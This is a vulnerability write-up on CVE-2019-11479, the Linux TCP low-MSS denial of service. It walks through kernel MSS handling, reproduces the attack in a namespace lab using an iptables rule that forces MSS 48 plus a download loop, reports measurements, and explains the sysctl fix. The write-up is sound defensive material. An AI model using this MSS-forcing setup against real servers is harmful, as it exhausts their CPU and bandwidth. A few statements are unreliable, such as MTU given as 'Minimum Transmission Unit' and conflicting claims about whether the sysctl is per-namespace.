CVE-2019-11479: The Linux TCP Low MSS DoS

CVE-2019-11479 is a denial of service vulnerability in the Linux kernel’s TCP stack, disclosed in June 2019 alongside two related bugs we have already discussed CVE-2019-11477 (SACK Panic) and CVE-2019-11478 (SACK Slowness). It carries a CVSS score of 7.5 and needs no authentication means it needs only an open TCP connection. This has been fixed in stable kernel releases 4.4.182, 4.9.182, 4.14.127, 4.19.52, 5.1.11, and is fixed in commits 967c05aee439e6e5d7d805e195b3a20ef5c433d6 and 5f3e2bf008c2221478101ee72f5cb4654b9fc363.

This write up will explain how the bug works, walks through MSS handling in the linux kernel and through the kernel patch that fixed it, and reproduces it in a small lab using Linux network namespaces.

TCP MSS negotiation

Maximum Segment Size (MSS) is the largest amount of actual data a TCP connection will pack into a single segment. Each side tells the other what it’s willing to receive, and this request rides inside the handshake itself which is a small 4-byte field in the SYN and SYN/ACK packets:

The two directions are independent. The client announces what it wants to receive, and the server sends data obeying that number and vice versa. These two numbers don’t have to match and each side runs its own. But a sender doesn’t just take the announced number and run with it. Before sending anything, it also checks two limits of its own which are the Minimum Transmission Unit (MTU) of its own network interface, and the path MTU if it’s already been discovered which is the smallest MTU anywhere along the actual route to the destination. Whichever of the three numbers is smallest of the announced MSS, the interface limit, or the path limit is what gets selected in the fixed version. A packet has to survive the entire trip, and if any single link along the way can’t carry it, the whole packet gets stuck or fragmented there. Taking the minimum guarantees it makes it through the whole way.

On top of that, the sender sets aside a bit more room for TCP options that ride in the same packet for example timestamps take 12 bytes so the final space left for actual payload is a little smaller still. All of this checking is about the sender’s own limits. Nothing in the handshake ever checks whether the announced MSS itself is realistic. A host can announce that it can only handle 48-byte segments and the other side just accepts it and there is no sanity check. That blind trust is exactly what CVE-2019-11479 exploits.

The vulnerability

CVE-2019-11479 abuses that trust. An attacker opens a TCP connection and announces an MSS of 48 bytes instead of the usual ~1460. Linux accepted this down to a hardcoded floor of 48, so the connection is accepted as valid. Once the attacker requests data such a large file the server must split its response into segments no larger than 48 bytes. Since roughly 40 of those bytes are reserved for TCP options, only about 8 bytes of actual payload fit in each packet. So imagine to send a 2MB file you will need around 250,000 packets.

Every packet regardless of size, costs the same fixed overhead which includes a full set of headers, a memory allocation, and a pass through the kernel’s network stack. Forcing data into 8-byte payloads multiplies that fixed cost roughly 180-fold for the same amount of data, consuming CPU and bandwidth on the server.

The vulnerable code

The floor for MSS was designed to prevent a broken value, not to prevent abuse. 48 is so low that an attacker can legitimately advertise a tiny MSS, pass the check, and force the server to send 8-byte payloads, multiplying per-packet CPU and bandwidth cost.

/* Then reserve room for full set of TCP options and 8 bytes of data */
if (mss_now < TCP_MIN_SND_MSS)      /* TCP_MIN_SND_MSS = 48 */
    mss_now = TCP_MIN_SND_MSS;
return mss_now;

#define TCP_MIN_SND_MSS		48

Where MSS lives in a packet

The struct is only of 20 bytes:

struct tcphdr {
	__be16	source;
	__be16	dest;
	__be32	seq;
	__be32	ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
	__u16	res1:4,
		doff:4,
		fin:1,
		syn:1,
		rst:1,
		psh:1,
		ack:1,
		urg:1,
		ece:1,
		cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
	__u16	doff:4,
		res1:4,
		cwr:1,
		ece:1,
		urg:1,
		ack:1,
		psh:1,
		rst:1,
		syn:1,
		fin:1;
#else
#error	"Adjust your <asm/byteorder.h> defines"
#endif	
	__be16	window;
	__sum16	check;
	__be16	urg_ptr;
};

And the options live right after the tcp header and that’s where the MSS lives.

struct tcphdr describes the fixed part of a TCP header. Adding up the fields: 2+2+4+4+2+2+2+2 = 20 bytes, every time. More bytes in the form of options might follow in memory right after this struct ends. The kernel doesn’t access them through a named field it just takes the address right after the struct ((u8 *)(th + 1) in the actual code which is the byte right after th and reads from there. Options are like added on not built in. Because th points to a struct tcphdr, this advances by one entire TCP header structure, not by one byte. It is equivalent to &th[1].

doff means data offset. It is a 4 bit field in the TCP header that tells you the total TCP header length including any options. Its value is measured in 32-bit words (4-byte units):

total_header_length = th->doff * 4;

For example:

doff	Total header length	Options length
5	20 bytes	0 bytes
6	24 bytes	4 bytes
10	40 bytes	20 bytes
15	60 bytes	40 bytes

The fixed part of a TCP header is 20 bytes, so doff == 5 means there are no options. Four options fill those 20 bytes of options back to back:

| Option | Bytes | | ———————– | —– | | MSS (kind 2) | 4 | | SACK permitted (kind 4) | 2 | | Timestamps (kind 8) | 10 | | NOP (kind 1, padding) | 1 | | Window scale (kind 3) | 3 | Below is an example of the 20 byte options from a wireshark dump:

Note that options can reach upto 60 bytes but that’s not our focus for now.

Following the MSS Value

Constructing MSS Option

For an outgoing SYN in the case of constructing the MSS option, tcp_syn_options() selects the TCP options and prepares them in a tcp_out_options structure. Its MSS assignment is:

opts->mss = tcp_advertise_mss(sk); // net/ipv4/tcp_output.c lines 759–789

The server follows a similar process for its SYN-ACK. tcp_synack_options() receives the selected MSS as an argument and stores it in the output options structure:

opts->mss = mss; //tcp_output.c lines 840–869

These functions decide which options to send but they do not themselves serialize the complete option area. That job belongs to tcp_options_write(). Its MSS branch combines the option kind, length, and value into the four bytes placed on the wire:

if (unlikely(opts->mss)) {  //tcp_output.c lines 608–625
	*ptr++ = htonl((TCPOPT_MSS << 24) |
		       (TCPOLEN_MSS << 16) |
		       opts->mss);
}

The caller passes a pointer immediately after the fixed TCP header:

tcp_options_write((__be32 *)(th + 1), tp, &opts); //tcp_output.c line 1351

Thus, the fixed header and its options remain separate. The options are written immediately after struct tcphdr rather than through a field inside it.

Receiving and Parsing MSS

On the receiving side, tcp_parse_options() performs the reverse operation. It calculates the option area length from doff and starts reading immediately after the fixed header:

int length = (th->doff * 4) - sizeof(struct tcphdr);

ptr = (const unsigned char *)(th + 1);

When it finds a valid MSS option on a SYN packet, it reads the 16-bit value and stores it in opt_rx->mss_clamp:

case TCPOPT_MSS:
	if (opsize == TCPOLEN_MSS && th->syn && !estab) {
		u16 in_mss = get_unaligned_be16(ptr);
		if (in_mss) {
			if (opt_rx->user_mss &&
			    opt_rx->user_mss < in_mss)
				in_mss = opt_rx->user_mss;
			opt_rx->mss_clamp = in_mss;
		}
	}
	break;

The stored value is therefore what the receiver supplied, but it is not entirely unchecked. The parser verifies the option structure, requires a nonzero MSS, and can reduce the value to the locally configured user_mss. Within those constraints, the MSS placed on the wire remains controlled by the remote receiver.

So on the sending side, tcp_syn_options() and tcp_synack_options() in net/ipv4/tcp_output.c set the MSS value, and tcp_options_write() packs it onto the wire. On the receiving side, tcp_parse_options() in net/ipv4/tcp_input.c reads it into mss_clamp. Three fields track the value through its life which we will discuss now….

MSS Tracking Fields

An attacker connects to a vulnerable server and sends a SYN carrying an MSS option of for example 8. The server is the sender of the bulk data, so the attacker’s advmss becomes the server’s mss_clamp. The three variables then play out like this…

1. advmss what each side advertises

Normal clients compute advmss from their MTU. The attacker simply writes a different number into the option instead.

// net/ipv4/route.c 
static unsigned int ipv4_default_advmss(const struct dst_entry *dst)
{
	unsigned int header_size = sizeof(struct tcphdr) + sizeof(struct iphdr);
	unsigned int advmss = max_t(unsigned int, ipv4_mtu(dst) - header_size,
				    ip_rt_min_advmss);

	return min(advmss, IPV4_MAX_PMTU - header_size);
}

A legitimate 1500-byte MTU gives 1500 - 20 - 20 = 1460 bytes of payload. From an attack point of view, this code only governs what the kernel or the server advertises about its MSS. The attacker doesn’t use it, and nothing forces their value to be good. Client → Server: SYN, options: [MSS=1460] (client “advertises” 1460) Server → Client: SYN-ACK, options: [MSS=1380] (server “advertises” 1380)

2. mss_clamp the attacker’s value

The vulnerable server reads the attacker’s or client’s MSS option here:

// net/ipv4/tcp_input.c tcp_parse_options() 
case TCPOPT_MSS:
	if (opsize == TCPOLEN_MSS && th->syn && !estab) {
		u16 in_mss = get_unaligned_be16(ptr);
		if (in_mss) {
			if (opt_rx->user_mss &&
			    opt_rx->user_mss < in_mss)
				in_mss = opt_rx->user_mss;
			opt_rx->mss_clamp = in_mss;
		}
	}
	break;

The only validation is in_mss != 0. A value of 8 is stored as mss_clamp = 8. On the passive-open path (the server case), it is copied from the request socket into the child socket:

// net/ipv4/tcp_minisocks.c, tcp_create_openreq_child() 
newtp->rx_opt.mss_clamp = req->mss;

So in a normal case:

In the attacker’s case:

The server just stores whatever number showed up, 8 in this case, as mss_clamp, with no check like “is 8 too small to be a real MSS?” A normal client would never send 8 (no real network has an MTU that small), but nothing stops a crafted packet from doing it, and the server has no floor value to reject it.

3. mss_cache where the vulnerable clamp sits

tcp_sync_mss() computes the MSS the connection will use and caches it. It runs at connection setup and again whenever the path MTU changes. mss_cache is the final, actually used MSS for the connection.

// mss_clamp was set earlier from the attacker's SYN option = 8
tp->rx_opt.mss_clamp = 8;

// __tcp_mtu_to_mss(sk, pmtu=1500)
mss_now = pmtu - 20 /*IP*/ - 20 /*TCP*/;      // mss_now = 1460

if (mss_now > tp->rx_opt.mss_clamp)           // 1460 > 8 -> true
    mss_now = tp->rx_opt.mss_clamp;           // mss_now = 8

mss_now -= icsk->icsk_ext_hdr_len;            // mss_now = 8 - 0 = 8

if (mss_now < TCP_MIN_SND_MSS)                // 8 < 48 -> true
    mss_now = TCP_MIN_SND_MSS;                // mss_now = 48

tp->mss_cache = mss_now;                      // mss_cache = 48  <-- final cached value

and TCP_MIN_SND_MSS is:

#define TCP_MIN_SND_MSS		48

So even though the attacker asked for 8, the TCP_MIN_SND_MSS (48) floor in this function catches it before it’s cached and mss_cache ends up 48, not 8. That floor check is the one thing in this whole chain that actually stops the attacker’s raw number from reaching production use.

What “cache” means in mss_cache

In mss_cache, “cache” means a precomputed value stored so the kernel doesn’t have to recalculate it for every packet. Working out the sending MSS takes several steps like path MTU, minus IP and TCP headers, clamped by mss_clamp, minus extension headers, then the floor. Doing that for every segment would be wasteful, so tcp_sync_mss() does it once and saves the result in tp->mss_cache. The send path then just reads the stored number.

It is recomputed only when one of its inputs changes, such as the path MTU. To detect that, the kernel stores the MTU it last used in icsk_pmtu_cookie. From memory of tcp_current_mss(), which runs before sending:

mss_now = tp->mss_cache;
if (dst) {
	u32 mtu = dst_mtu(dst);
	if (mtu != inet_csk(sk)->icsk_pmtu_cookie)
		mss_now = tcp_sync_mss(sk, mtu);
}

If the MTU matches the cookie, the cached value is used as is. If not, tcp_sync_mss() runs again, rebuilds the value and refreshes both the cache and the cookie. tcp_current_mss() also adjusts for per packet option bytes that differ from the connection’s usual header length.

This matters for the vulnerability because the attacker’s tiny MSS enters mss_clamp once, during the handshake. The vulnerable clamp raises it to 48 the first time tcp_sync_mss() runs, and that 48 is cached. From then on the cache is only recomputed with the same mss_clamp and the same floor, so every later segment on the connection keeps using the small size. The attacker never has to repeat anything.

Lab setup

The cleanest way to reproduce this is on a single machine, using two Linux network namespaces joined by a virtual Ethernet (veth) pair. A victim namespace running the server, and an attacker namespace driving the connection.

# Create the namespaces and a virtual cable between them
sudo ip netns add victim
sudo ip netns add attacker
sudo ip link add veth-victim type veth peer name veth-attacker
sudo ip link set veth-victim netns victim
sudo ip link set veth-attacker netns attacker

# Assign IPs and bring the links up
sudo ip netns exec victim ip addr add 10.10.0.1/24 dev veth-victim
sudo ip netns exec victim ip link set veth-victim up
sudo ip netns exec victim ip link set lo up

sudo ip netns exec attacker ip addr add 10.10.0.2/24 dev veth-attacker
sudo ip netns exec attacker ip link set veth-attacker up
sudo ip netns exec attacker ip link set lo up

# Confirm the link works
sudo ip netns exec attacker ping -c 3 10.10.0.1

Note that tcp_min_snd_mss is a host wide setting, not per namespace, so changing it later affects both namespaces. A veth link also needs TCP segmentation offload turned off before packet counts mean anything. With it on, the kernel bundles traffic into oversized internal “superpackets” and hands them to the interface as one unit, so tx_packets badly undercounts what a real NIC would actually put on the wire:

sudo ip netns exec victim ethtool -K veth-victim tso off gso off gro off
sudo ip netns exec attacker ethtool -K veth-attacker tso off gso off gro off

Without this, a baseline measurement can show an impossible average of tens of thousands of bytes per packet.

The lab needs a test payload inside the victim namespace, and four small scripts shared by all three runs. One to generate sustained load, one to measure the victim’s packet behavior over the same window, one to capture CPU and memory use over that window, and one to switch cleanly between baseline, attack and fix states.

sudo ip netns exec victim bash -c 'mkdir -p /root/mssdemo && dd if=/dev/zero of=/root/mssdemo/big.bin bs=1M count=2'

monitor.sh runs inside the victim namespace. Reads tx_packets, tx_bytes and the NET_RX softirq counter before and after a fixed window, and reports the deltas:

cat > ~/monitor.sh <<'EOF'
#!/usr/bin/env bash
DURATION=${1:-20}
LABEL=${2:-run}
IFACE=veth-victim

start_pkts=$(cat /sys/class/net/$IFACE/statistics/tx_packets)
start_bytes=$(cat /sys/class/net/$IFACE/statistics/tx_bytes)
start_soft=$(awk '/NET_RX/ {for(i=2;i<=NF;i++) s+=$i} END{print s}' /proc/softirqs)
start_time=$(date +%s.%N)

echo "[$LABEL] monitoring for ${DURATION}s..."
sleep "$DURATION"

end_pkts=$(cat /sys/class/net/$IFACE/statistics/tx_packets)
end_bytes=$(cat /sys/class/net/$IFACE/statistics/tx_bytes)
end_soft=$(awk '/NET_RX/ {for(i=2;i<=NF;i++) s+=$i} END{print s}' /proc/softirqs)
end_time=$(date +%s.%N)

pkts=$((end_pkts - start_pkts))
bytes=$((end_bytes - start_bytes))
soft=$((end_soft - start_soft))
elapsed=$(echo "$end_time - $start_time" | bc)
avg_payload=$(echo "scale=1; $bytes / $pkts" | bc 2>/dev/null)
pkt_rate=$(echo "scale=1; $pkts / $elapsed" | bc)

echo "---- $LABEL ----"
echo "duration:        ${elapsed}s"
echo "tx_packets:      $pkts"
echo "tx_bytes:        $bytes"
echo "avg bytes/pkt:   $avg_payload"
echo "packets/sec:     $pkt_rate"
echo "NET_RX softirqs: $soft"
EOF
chmod +x ~/monitor.sh
sudo cp ~/monitor.sh /root/mssdemo/monitor.sh

driver.sh runs inside the attacker namespace. Downloads the file in a loop for the whole window, so there is continuous load to measure rather than one short transfer:

cat > ~/driver.sh <<'EOF'
#!/usr/bin/env bash
DURATION=${1:-20}
URL=${2:-http://10.10.0.1:8000/big.bin}
END=$((SECONDS + DURATION))
count=0
total_bytes=0
while [ $SECONDS -lt $END ]; do
  size=$(curl -s -o /dev/null -w '%{size_download}' "$URL")
  total_bytes=$((total_bytes + size))
  count=$((count + 1))
done
echo "downloads completed: $count"
echo "total bytes:         $total_bytes"
EOF
chmod +x ~/driver.sh
sudo cp ~/driver.sh /root/mssdemo/driver.sh

toggle.sh runs on the host, outside both namespaces. Switches between the three states by name, so the MSS 48 iptables rule and the tcp_min_snd_mss sysctl can’t drift out of sync. The sysctl must be set inside the victim namespace specifically. Namespaces each keep their own private copy of net.ipv4.* settings, so setting it on the host does nothing to the server’s actual behavior:

cat > ~/toggle.sh <<'EOF'
#!/usr/bin/env bash
RULE='-p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48'
case "$1" in
  baseline)
    sudo ip netns exec attacker iptables -t mangle -D OUTPUT $RULE 2>/dev/null
    sudo ip netns exec victim sysctl -w net.ipv4.tcp_min_snd_mss=48 >/dev/null ;;
  attack)
    sudo ip netns exec attacker iptables -t mangle -C OUTPUT $RULE 2>/dev/null || \
      sudo ip netns exec attacker iptables -t mangle -A OUTPUT $RULE
    sudo ip netns exec victim sysctl -w net.ipv4.tcp_min_snd_mss=48 >/dev/null ;;
  fix)
    sudo ip netns exec attacker iptables -t mangle -C OUTPUT $RULE 2>/dev/null || \
      sudo ip netns exec attacker iptables -t mangle -A OUTPUT $RULE
    sudo ip netns exec victim sysctl -w net.ipv4.tcp_min_snd_mss=536 >/dev/null ;;
  *) echo "usage: $0 {baseline|attack|fix}"; exit 1 ;;
esac
echo "state: $1"
EOF
chmod +x ~/toggle.sh

resource.sh runs on the host, outside both namespaces, since CPU use is machine wide and the server’s memory is simplest to read from outside its own namespace with pgrep. It captures the window’s average CPU utilization and the server process’s memory footprint before and after:

cat > ~/resource.sh <<'EOF'
#!/usr/bin/env bash
DURATION=${1:-20}
LABEL=${2:-run}
SRV_PID=$(pgrep -f "http.server 8000" | head -1)

start_rss=0
[ -n "$SRV_PID" ] && start_rss=$(awk '/VmRSS/{print $2}' /proc/$SRV_PID/status 2>/dev/null)

mpstat 1 "$DURATION" > /tmp/mpstat_${LABEL}.log &
MPSTAT_PID=$!
sleep "$DURATION"
wait "$MPSTAT_PID"

end_rss=0
[ -n "$SRV_PID" ] && end_rss=$(awk '/VmRSS/{print $2}' /proc/$SRV_PID/status 2>/dev/null)

echo "---- $LABEL resource usage ----"
echo "server RSS before: ${start_rss} kB"
echo "server RSS after:  ${end_rss} kB"
tail -1 /tmp/mpstat_${LABEL}.log
EOF
chmod +x ~/resource.sh
sudo apt install -y sysstat   # only if mpstat isn't already installed

From here on, each state such as baseline, attack and fix uses the same four terminals: Terminal 1 keeps the server running, Terminal 2 switches state and starts the packet measurement, Terminal 3 drives the load, and Terminal 4 captures CPU and memory. Terminal 1 opens once and stays open for the rest of the lab and Terminals 2 through 4 repeat for each state.

Baseline normal MSS

Terminal 1 starts the server once inside the victim namespace and leaves it running for the rest of the lab:

sudo ip netns exec victim bash -c 'cd /root/mssdemo && python3 -m http.server 8000'

Terminal 2 sets the state, then measures a 20 second window of sustained traffic:

sudo bash ~/toggle.sh baseline
sudo ip netns exec victim /root/mssdemo/monitor.sh 20 baseline

Terminal 3 starts the load generator immediately after Terminal 2’s monitor.sh begins, so both cover the same window:

sudo ip netns exec attacker /root/mssdemo/driver.sh 20

Terminal 4 is optional. It captures CPU and memory over the same window:

sudo bash ~/resource.sh 20 baseline

Terminal 4 reported:

---- baseline resource usage ----
server RSS before: 6,208 kB
server RSS after:  6,208 kB
CPU (avg over 20s): %usr 6.05  %sys 6.40  %soft 1.04  %idle 86.32

With MSS behaving normally, Terminal 2 reported:

---- baseline ----
duration:        20.011s
tx_packets:      1,305,156
tx_bytes:        1,940,250,936
avg bytes/pkt:   1486.6
packets/sec:     65,221.4
NET_RX softirqs: 142,864

Terminal 3 reported:

downloads completed: 1,292
total bytes:         2,709,520,384

1486.6 bytes per packet is close to the expected 1448 byte payload plus header overhead, confirming the measurement setup and the offload fix from the lab setup is accurate.

Launching the attack

Terminal 2 switches to the attack state, which adds the iptables rule forcing the attacker’s SYN to announce MSS 48, then measure the same 20 second window:

sudo bash ~/toggle.sh attack
sudo ip netns exec victim /root/mssdemo/monitor.sh 20 attack

Terminal 3 starts the load generator immediately after:

sudo ip netns exec attacker /root/mssdemo/driver.sh 20

Terminal 4 again optional, captures CPU and memory over the same window:

sudo bash ~/resource.sh 20 attack

Terminal 4 reported:

---- attack resource usage ----
server RSS before: 6,208 kB
server RSS after:  6,208 kB
CPU (avg over 20s): %usr 3.68  %sys 6.46  %soft 5.83  %idle 83.92

Terminal 2 reported:

---- attack ----
duration:        20.011s
tx_packets:      6,944,131
tx_bytes:        708,343,332
avg bytes/pkt:   102.0
packets/sec:     347,013.3
NET_RX softirqs: 301,073

Terminal 3 reported:

downloads completed: 153
total bytes:         320,864,256

A live ss capture, in a spare terminal, during an attack transfer confirms the mechanism directly:

sudo ip netns exec victim ss -ti sport = :8000

mss:36

36 not 48 as Linux reserves 12 of the announced 48 bytes for the TCP timestamp option, leaving 36 bytes of real payload per segment. That lines up with the measured 101.9 bytes/pkt average once zero payload ACKs are factored into it.

Compared to baseline it is 14.6x less payload per packet, 5.3x more packets for less data moved, and 8.4x fewer completed downloads in the identical 20 second window. The CPU cost shows up more sharply in time than in event count. NET_RX softirq events rose 2.1x, but time spent in softirq context (%soft, from Terminal 4) rose 5.6x, since each NAPI batch now does far more per packet header and allocation work for the same wall clock slice. Server memory stayed flat at 6,208 kB before and after. This concludes that this is a CPU and bandwidth exhaustion attack, not a memory exhaustion one.

Applying the fix

Terminal 2 switches to the fix state, which raises tcp_min_snd_mss to 536 inside the victim namespace while leaving the attacker’s MSS 48 rule in place. Then we measure:

sudo bash ~/toggle.sh fix
sudo ip netns exec victim /root/mssdemo/monitor.sh 20 fix

Terminal 3 starts the load generator immediately after:

sudo ip netns exec attacker /root/mssdemo/driver.sh 20

Terminal 4 is optional, captures CPU and memory over the same window:

sudo bash ~/resource.sh 20 fix

Terminal 4 reported:

---- fix resource usage ----
server RSS before: 6,208 kB
server RSS after:  6,208 kB
CPU (avg over 20s): %usr 4.96  %sys 7.75  %soft 2.28  %idle 84.87

Terminal 2 reported:

---- fix ----
duration:        20.011s
tx_packets:      3,007,107
tx_bytes:        1,761,363,160
avg bytes/pkt:   585.7
packets/sec:     150,276.4
NET_RX softirqs: 189,283

Terminal 3 reported:

downloads completed: 1,012
total bytes:         2,122,317,824

The attacker’s SYN still announces MSS 48 means the iptables rule never changed but the kernel silently clamps the usable value to the configured floor regardless. Downloads recovered to 1,012, 78.3% of baseline, with softirq events down to about 63% of the attack run’s count and softirq CPU time down to about 39% of the attack run’s level, confirming the fix works without needing the attacker’s cooperation.

One pitfall worth flagging is that a sysctl set on the host (sudo sysctl -w net.ipv4.tcp_min_snd_mss=536, with no ip netns exec) only changes the host’s own default namespace. It silently does nothing to the victim namespace’s actual behavior. The fix has to be applied inside that namespace specifically, as toggle.sh does.

Results

Run	Announced MSS	Avg bytes/pkt	tx_packets (20s)	Throughput (Mbps)	Downloads completed (20s)	NET_RX softirqs (20s)
Baseline	1460	1486.6	1,305,156	775.7	1,292	142,864
Attack	48	102.0	6,944,131	283.2	153	301,073
Fix applied	48	585.7	3,007,107	704.2	1,012	189,283

All three runs measured a sustained 20-second window with tcp_min_snd_mss left at its default (48) for baseline and attack, and raised to 536 for the fix run. The attacker’s SYN announced MSS 48 in every run after the baseline. A direct ss -ti capture during the attack confirmed mss:36 on the live connection: Linux reserves 12 of the 48 announced bytes for the TCP timestamp option, leaving 36 bytes of real payload per segment.

The effect compounds through every layer. Average payload collapsed 14.6× (1486.6 to 102.0 bytes/packet), the server emitted 5.3× more packets for less data moved, NET_RX softirq events rose 2.1× for a smaller transfer, and completed downloads in the same 20 second window dropped 8.4×, from 1,292 to 153. Raising tcp_min_snd_mss to 536 recovered most of that: downloads climbed back to 1,012 (78.3% of baseline) and the softirq count fell to about 63% of the attack’s level.

CPU and memory were captured too, via Terminal 4’s resource.sh. Softirq time (%soft, from mpstat) tells a sharper story than the NET_RX event count alone. The attack pushed %soft to 5.6× the baseline figure, even though the raw event count only rose 2.1×, because NAPI batches several packets per softirq invocation. Under attack, each batch does far more per packet header and allocation work for the same wall clock slice. Overall CPU busy time moved far less (13.7% to 16.1% to 15.1%), since most of that figure is background and driver script overhead unrelated to the CVE.

Run	CPU busy (100% − idle)	CPU in softirq (%soft)	Server RSS before → after
Baseline	13.7%	1.04%	6,208 → 6,208 kB
Attack	16.1%	5.83%	6,208 → 6,208 kB
Fix applied	15.1%	2.28%	6,208 → 6,208 kB

Effective throughput tells the same story from a different angle as the baseline moved 775.7 Mbps, the attack cut that to 283.2 Mbps (a 63.5% drop), and the fix recovered it to 704.2 Mbps (90.8% of baseline).. all for the identical 20 second window and the same attacker behavior.

The Fix

The fix is two upstream commits by Eric Dumazet, both committed on 15 June 2019:

Commit 1 5f3e2bf008c2, “tcp: add tcp_min_snd_mss sysctl”

This commit touches five files and adds 22 lines while removing 2. The message says Linux enforced a minimum of 48, and since TCP options can use up to 40 bytes, each segment may carry only 8 bytes of payload. It adds a sysctl to raise the minimum but keeps the default at 48 for compatibility.

include/net/netns/ipv4.h: a new per network namespace field.

 	int sysctl_tcp_base_mss;
+	int sysctl_tcp_min_snd_mss;
 	int sysctl_tcp_probe_threshold;

net/ipv4/sysctl_net_ipv4.c: the sysctl, bounded between 48 and 65535.

static int tcp_min_snd_mss_min = TCP_MIN_SND_MSS;
static int tcp_min_snd_mss_max = 65535;
...
	{
		.procname	= "tcp_min_snd_mss",
		.data		= &init_net.ipv4.sysctl_tcp_min_snd_mss,
		.maxlen		= sizeof(int),            /* from memory */
		.mode		= 0644,
		.proc_handler	= proc_dointvec_minmax,
		.extra1		= &tcp_min_snd_mss_min,
		.extra2		= &tcp_min_snd_mss_max,
	},

An admin can raise the floor but never lower it below the old 48.

net/ipv4/tcp_ipv4.c, in tcp_sk_init(): the default.

 	net->ipv4.sysctl_tcp_base_mss = TCP_BASE_MSS;
+	net->ipv4.sysctl_tcp_min_snd_mss = TCP_MIN_SND_MSS;
 	net->ipv4.sysctl_tcp_probe_threshold = TCP_PROBE_THRESHOLD;

net/ipv4/tcp_output.c, in __tcp_mtu_to_mss(): the core fix, replacing the hardcoded clamp with the runtime value.

 	/* Then reserve room for full set of TCP options and 8 bytes of data */
-	if (mss_now < TCP_MIN_SND_MSS)
-		mss_now = TCP_MIN_SND_MSS;
+	mss_now = max(mss_now, sock_net(sk)->ipv4.sysctl_tcp_min_snd_mss);
 	return mss_now;

Documentation/networking/ip-sysctl.txt: documents the behavior. If the advmss option in a SYN or SYN-ACK is smaller than tcp_min_snd_mss, it is silently capped to tcp_min_snd_mss.

Commit 2: 967c05aee439, “tcp: enforce tcp_min_snd_mss in tcp_mtu_probing()”

This is a one line change in net/ipv4/tcp_timer.c. It was needed because MTU probing computes its own MSS and bypasses the clamp above. If MTU probing is enabled, tcp_mtu_probing() could end up with a too small MSS, so the new sysctl is used to keep the MSS search in an acceptable range.

 		mss = tcp_mtu_to_mss(sk, icsk->icsk_mtup.search_low) >> 1;
 		mss = min(net->ipv4.sysctl_tcp_base_mss, mss);
 		mss = max(mss, 68 - tcp_sk(sk)->tcp_header_len);
+		mss = max(mss, net->ipv4.sysctl_tcp_min_snd_mss);
 		icsk->icsk_mtup.search_low = tcp_mss_to_mtu(sk, mss);

The old floor of 68 is the minimum IPv4 MTU, far below a safe MSS. Without this line, an admin who raised the sysctl would still have a gap whenever MTU probing is enabled. (In the 4.9 and 4.14 backports the context uses tp->tcp_header_len, but the added line is identical.)

How the fix behaves

Before the patch, an attacker advertising MSS 8 produced this:

After the patch with tcp_min_snd_mss set to 536:

The attacker’s tiny value is overridden, and the server sends 536-byte segments. The same floor also applies when MTU probing shrinks the MSS.

Applying it

sysctl -w net.ipv4.tcp_min_snd_mss=536
echo "net.ipv4.tcp_min_snd_mss = 536" >> /etc/sysctl.d/99-mss.conf

Don’t forget the default is still 48. Installing a patched kernel changes nothing until an administrator raises the value. The reason is compatibility as the TCP spec defines no minimum MSS, and Ubuntu’s note says the kernel cannot safely put a restriction on the MSS by default because it may break valid TCP connections.

Later follow up…

Commit 78eb166cdefc fixed a data race because the value can change concurrently while being read, so readers needed READ_ONCE(). The clamp became:

mss_now = max(mss_now,
	      READ_ONCE(sock_net(sk)->ipv4.sysctl_tcp_min_snd_mss));

and the tcp_mtu_probing() line got the same wrapper. This doesn’t change the security behavior.

Further Reading

• Sack Panic (CVE 2019-11477)
• Sack Slowness (CVE 2019-11478)